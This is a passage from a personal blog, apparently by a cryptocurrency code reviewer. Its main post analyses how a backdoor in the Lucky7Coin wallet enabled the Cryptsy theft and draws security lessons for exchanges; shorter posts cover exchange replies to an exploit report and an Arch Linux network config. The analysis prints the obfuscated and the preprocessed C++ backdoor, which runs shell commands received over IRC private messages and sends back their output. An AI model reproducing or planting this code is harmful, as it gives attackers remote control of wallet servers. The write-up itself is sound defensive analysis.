However, they did screw up, obviously. Any reasonable exchange compiles all of their wallets from source code. A few exchanges have accepted closed source cryptocurrencies, but most of them are also now dead, or were dead 3 months after opening and gaining enough trust to run away with some money. I must stress, this is extremely common in the alternative cryptocurrency world. Everyone wants to double their dollar and there is no regulation or oversight. Crytpsy I assume also compiled their wallet's code from source. For security, all exchanges should sandbox their wallets (though Richie at Bittrex has told me this is harder than expected. I don't run an exchange, so I don't know in exactly what ways), make sure their cold bitcoin storage is actually cold and not lukewarm, and finally, should review all code that gets compiled and put onto their exchange.

They appear to have neglected these security tasks. Their wallets appear to not be sandboxed in any strong way. If their cold storage had actually been cold, the attackers would've never got beyond emptying their hot wallet. And finally, their code review practices either didn't exist, or were insufficient to catch this. At just around the time of this exploit being created I had started conducting code reviews of cryptocurrencies. This was initially triggered by a coin called "Mysterycoin". He claimed at the time that there was something hidden in the coin. People had started investing in this crazy thing and this was just after the "USBCoin" exploit which stole a ton of money from people. If you read through that thread, it's quite insane that people didn't believe me when I found the exploit, but these are also people that probably invested in it. They didn't care about exploits as long as they exited before the coin was worthless. This is a very common trope of the altcoin world. Anyway, so I started conducting code reviews of these altcoins because no one else was protecting the community from stuff like this. I legitimately wanted altcoins to succeed. There was so much excitement and innovation happening at the time, and everyone was exploring what limits they could take altcoins to. Mixed with this good stuff happening though, a number of malicious scams also popped up. Most of these were the typical pyramid scheme type, or the "Invest now, and then I'll release a new version with [SOME GREAT IMPOSSIBLE FEATURE] and then you'll be rich!", and then the developers would cash out their premine at the highest market price they could, leave the coin, and move onto a new coin and do the same thing. And people ATE. IT. UP. Hell, even I invested in a coin I knew would fail, because I knew I could sell it 12 hours later at double the price before the price tanked 48 hours into it. These scammers knew that people were doing this, so they started employing tricks such as "hidden premines", ie, where they start the currency and have more coins in this cryptocurrency than they announced. Most people knew how to check this kind of thing, so the developers started rewriting code so that the block explorers lied about the first transaction in the blockchain to say 0 coins were created, instead of 1 million coins. Most of these exploits however were fairly harmless in an overall-system type of way. They would lie about transactions, maybe allow the developer to exploit the blockchain, but nothing like executing arbritrary files or becoming part of a botnet.

So, anyway, this kind of thing was really just starting to ramp up. Even Bittrex, one of the most security concious exchanges then and now, had been hit by these code exploits. I'm not excusing Cryptsy, but this kind of behavior with scams and malicious code was a slow and then sudden realization, like the string of OpenSSL security problems. Most developers of altcoins were knew to potentially be scammers, but coins with actively malicious code was extremely rare, if not complete unheard of. And then suddenly exploits were left and right. This was about the point that I stepped in. Bittrex even ended up hiring me as a contractor after I reported a security issue to them at around this time. So, anyway Cryptsy had lax code reviews, if they did at all. And this exploit was not particularly easy to catch. I think today I would've caught it, but two years ago? Who knows.. So, let's dive into the actual exploit:

The Exploit

The exploit is pretty well hidden from the get-go. Look through the commit history. You won't find anything relevant. Yep, they changed it in the initial commit. However, they do have the "Change IRC Network" commit there to look like an obvious fix for crytpsy. Anyone smart knows to never trust commit history. Commits can always be changed, backdated, you name it. It's user provided information. This actually made my job of conducting code reviews significantly harder. The only way to figure out the actual changes a developer made to the coin, you must take the code and compare it to another coin that is similar. This basically involves a lot of trial and error with trying to match their code up to a sane similar coin that you know is trustworthy. Oh yea, no altcoin developer starts from nothing. They always fork a different coin as their base and change things from there. So, if you can find a sane coin to compare the code against, then you have to mostly manually sift through a ton of noisey renaming from (say) "Firecoin" to "Lucky7coin" to get at the very core of what they actually changed in the logic.

So, let's see what that would've looked like, while cutting out the noise. Something like this

As you can see, it's pretty well hidden. It appears to be some innocent modifications to the allocation methods, but yet, those comments don't make any sense. This should have been a red flag, especially things like define S_ORDER(a,b,c,d) b##a##d##c which to me screams "I'm obfuscating something" (I should know, I work on a software obfuscator in my day job). So, Lets get out the core code:

    if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1)
    {
        CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");
        if (buf) {
            std::string result = "";
            while (!feof(buf))
                if (fgets(pszName, sizeof(pszName), buf) != NULL)
                    result += pszName;
            CFree(buf);
            strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
            if (strchr(pszName, '!'))
                *strchr(pszName, '!') = '\0';
            Send(hSocket, strprintf("%s %s :%s\r", CBuff, pszName, result.c_str()).c_str());
        }
    }

This takes place in the loop for handling IRC messages. Bitcoin and altcoins use (or at least use to) IRC for finding other nodes to receive the blockchain. It connects to an IRC network and watches for JOIN messages and messages beginning with "352", and then uses that as a marker to parse the rest of the message as an IP address. If you look at what the CBuff macro is, it is "PR" "IV" "M" "SG". Anything, ANYTHING concering private hidden messages in this code should be an immediate flag.

Now, let's look at what this code actually looks like when preprocessed and all the macros are resolved:

      if (vWords[1] == "PR" "IV" "M" "SG" && vWords[3] == ":!" && vWords[0].size() > 1)
         {
             FILE *buf = popen(strstr(strLine.c_str(), vWords[4].c_str()), "r");
             if (buf) {
                 std::string result = "";
                 while (!feof(buf))
                     if (fgets(pszName, sizeof(pszName), buf) != 
 # 356 "irc.cpp" 3 4
                                                                __null
 # 356 "irc.cpp"
                                                                    )
                         result += pszName;
                 pclose(buf);
                 strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
                 if (strchr(pszName, '!'))
                     *strchr(pszName, '!') = '\0';
                 Send(hSocket, real_strprintf("%s %s :%s\r", 0, "PR" "IV" "M" "SG", pszName, result.c_str()).c_str());
            }
        }

Hmm.. this code looks a lot more sinister now. Basically the logic resolves down to "If a private message comes in with the 2nd word being ":!", then execute the 4th word of the message as a command" And word is defined as being seperated by a space. I'm not really sure why the convuleted strstr() logic is used on the 3rd line of the exploit however. I can only assume to make it harder to understand. But anyway, it basically executes the command sent in and then will send back the standard output of the command. And this is how they were able to execute any arbritrary command on the wallet server.

Conclusion

So, this was a pretty big mistake from multiple failures in security architecture... A $5.6 million dollar mistake. With even basic security protocols an exploit like this should have been caught and rendered nothing at risk besides maybe the actual Lucky7Coin hot wallet. This exploit existed for at least 6 months before actually stealing all of cryptsy's cold wallet funds. Somewhere in that amount of time, someone should've noticed the odd IRC traffic. Or hell, why was IRC traffic even being allowed in this case!?

I think some take aways from this are:

  1. If you're running anything to do with Bitcoin, security is not a joke. It's not a matter of if you get hacked but rather when. And when you do, you'd better hope your wallet with most of your funds is so cold it's practically frozen and attackers can't get to it
  2. Code reviews are hard, but extremely important. A few months ago I reviewed the coin "Pharma" 2 times and it wasn't until the third time that I found an exploit in it. I'm not saying they didn't try to conduct a review to find any potential exploits, but it's really best to have more than one eyes on this kind of thing, and I doubt this made it past 2 people
  3. You should be sandboxing everything possible. Sandboxing is hard, especially for something as resource intensive as altcoin wallets, but this entire issue could've been prevented with proper sandboxing.
  4. You should be monitoring your networks. Use a whitelist if possible, and have excessive monitoring with heuristics otherwise to detect anomolies like this.
  5. Your cold storage should be actually cold. If you can get at your cold wallet's private keys without physically getting out of your chair and walking somewhere, it's not cold.
  6. You can never be too careful when handling millions of dollars
  7. Actually respond to incident responses, and provide bug/security bounties to encourage people to report it instead of exploit it. When I contacted some exchanges about a much less significant exploit in a coin, two did not reply, ever. One wrote back and told me "It doesn't affect transaction balances, so therefore it's not our problem" (basically, fuck you, we don't care that our traders get a fair deal), and one exchange that actually responded and took the market offline within 30 minutes of my report.
Posted: 1/16/2016 7:17:49 AM

Exploit Report Responses

So, I found it interesting the "response" I got from exchanges when reporting the Pharma Exploit. TL;DR; some malicious miners could mine blocks significantly faster than legitimate miners.

In all, 3 coins and 3 altcoin exchanges were affected. The coins being Pharma (2 exchanges), MasterDoge, and Hexxcoin (1 exchange). The 3 exchanges are C-CEX, BlueTrade, and Yobit. I also sent a message to Bittrex because I thought a coin was affected that they had a market for, but that was a mistake and the coin was not actually affected.

Responses from exchanges:

  1. C-CEX: No response, market still online
  2. Yobit: No response, market still online
  3. BlueTrade: Response summarized as "this exploit only affects the miners and because it doesn't affect transaction balances, we will keep the market up." (which is bullshit), market still online
  4. Bittrex: Response within 30 minutes asking for more details (at this point I indicated it doesn't actually affect a coin I thought it did), unaffected

So, there you go. Four exchanges contacted about a security problem. One replied back that was actually concerned about it.

Posted: 7/5/2015 5:49:59 PM

Still existing

I really should blog more. Just hard to find the time...

I still exist though. Most of my recent projects have been bitcoin and altcoin related, since I do bring home a bit of money from freelancing in that field in my freetime. Bitcoin and altcoins really seem to be winding down though since the great altcoin bubble popping. So, probably going to be looking for something new to do pretty soon.

hmm.. yea, I guess that's it

Tags: mmm
Posted: 5/2/2015 6:11:15 AM

Configuring a SoYouStart IP for Arch Linux

So, I recently managed to snag a SoYouStart dedicated server. It comes with 16 IPs, but configuring more than the main IP (ie, "failover" IPs) is definitely not trivial. I used my dedicated server for hosting my own VMs with Proxmox, so I definitely needed to use these extra IPs.

I couldn't find any good way to configure a failover IP configuration in Arch Linux, so I scrounged around and ended up following directions mostly from the FreeBSD instructions, but adapted for Arch.

Here's how I did it

[earlz@test2 ~]$ cat /etc/netctl/virtnetwork 
Description='A more versatile static ethernet connection'
Interface=ens18
Connection=ethernet
IP=static
# Any valid iproute command can be placed in this array
IPCustom=('addr add FAIL.OVER.IP/32 dev ens18' 'route add PRIMARY.IP dev ens18' 'route add default via PRIMARY.IP')
DNS=('8.8.8.8')

Replace FAIL.OVER.IP with the appropriate failover IP(ie, the extra IPs). Replace PRIMARY.IP with your main IP, but change it to end with 254.

I'm sure there is a better way to do this, but eh. close enough for me

Posted: 1/15/2015 2:54:58 AM